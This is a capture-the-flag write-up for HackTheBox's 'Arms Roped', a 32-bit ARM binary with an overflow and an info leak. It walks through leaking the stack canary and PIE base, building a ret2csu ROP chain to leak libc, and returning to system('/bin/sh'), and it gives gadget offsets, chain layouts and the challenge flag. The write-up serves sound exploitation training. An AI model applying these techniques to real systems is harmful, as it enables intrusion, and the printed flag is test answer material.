HackTheBox Pwn Challenge - Arms Roped (Medium)

Published on: 4/18/2026

Summary:


Arms Roped - Pwn (Medium)

Challenge Info

  • Category: Pwn
  • Difficulty: Medium (515 solves)
  • Description: Get a shell!
  • Binary: ELF 32-bit ARM (armhf), PIE, dynamically linked, not stripped
  • Environment: QEMU user-mode with patched ASLR randomization

Binary Analysis

Protections

  • PIE: Enabled
  • NX: Enabled
  • Canary: Enabled
  • RELRO: Partial

Key Function: string_storer()

void string_storer() {
    char buffer[32];  // at fp-48 (4 bytes var + 28 bytes zeroed)
    // canary at fp-16
    while (1) {
        scanf("%m[^\n]%n", &tmp, &n);  // %m allocates with malloc
        getchar();
        memcpy(buffer, tmp, n);        // OVERFLOW if n > 32
        free(tmp);
        if (memcmp(buffer, "quit", 4) == 0) break;
        puts(buffer);                   // INFO LEAK
    }
    // canary check + return via pop {r4, fp, pc}
}

Stack Layout (from fp-48)

Offset  Content
0-31    buffer (32 bytes)
32-35   stack canary
36-39   local variable
40-43   saved r4   ← pop {r4, fp, pc}
44-47   saved fp   ←
48-51   saved lr   ← return address (pc)
52+     ROP chain data

Vulnerabilities

  1. Buffer overflow: memcpy(buffer, input, strlen(input)) with no size check. Buffer is 32 bytes but input can be up to ~4000 chars.
  2. Info leak: puts(buffer) prints until null byte. Overflowing past canary/saved regs leaks their values.
  3. Canary bypass: Canary check only happens on loop exit ("quit"). Multiple overflow iterations possible before returning.

Exploit Strategy (3 phases)

Phase 1: Leak Canary + PIE Base

  • Iteration 1: Send 33 bytes → overwrites canary LSB (0x00), puts leaks canary bytes [1:3]
    • Canary = 0x00 | leaked[0]<<8 | leaked[1]<<16 | leaked[2]<<24
  • Iteration 2: Send 45 bytes → overwrites through saved_fp[0], puts leaks saved_fp[1:3] + saved_lr[0:3]
    • PIE_base = saved_lr - 0x948

Phase 2: ROP to Leak Libc (ret2csu)

Uses ARM __libc_csu_init gadgets:

  • Pop gadget (PIE+0x9ec): pop {r4, r5, r6, r7, r8, r9, sl, pc}
  • Call gadget (PIE+0x9cc): ldr r3,[r5],#4; mov r0,r7; blx r3 + loop + pop {r4..pc}

Iteration 3: Write ROP chain to stack:

padding(32) + canary + junk(4) + r4(0) + fp(0) +
pc=pop_gadget + r4=0 + r5=GOT.puts + r6=1 + r7=GOT.puts +
r8=0 + r9=0 + r10=0 + pc=call_gadget +
r4..r10=0 + pc=main

Iteration 4: Send "quit" → triggers return → ROP executes → puts(GOT.puts) leaks libc puts address → returns to main.

  • libc_base = leaked_puts - 0x49ba5

Phase 3: Shell via system("/bin/sh")

Uses libc gadget: pop {r0, r4, pc} at libc+0x5bebc

New string_storer call (same canary):

padding(32) + canary + junk(4) + r4(0) + fp(0) +
pc=pop_r0_r4_pc + r0="/bin/sh" + r4=0 + pc=system

Send "quit" → system("/bin/sh") → shell!

Key ARM Details

  • ARM calling convention: r0-r3 for arguments
  • pop {r4, fp, pc} controls r4, fp, and return address
  • ARM/Thumb interworking: system() at odd address (0x2f511) → Thumb mode via pc load
  • Stack canary LSB is 0x00 on ARM (prevents string-based leaks without overwrite)

Flag

HTB{_r0pp1Ng_0n_4rM_1s_n0t_s0_34sy_L1K3_x86!!}
Table of Contents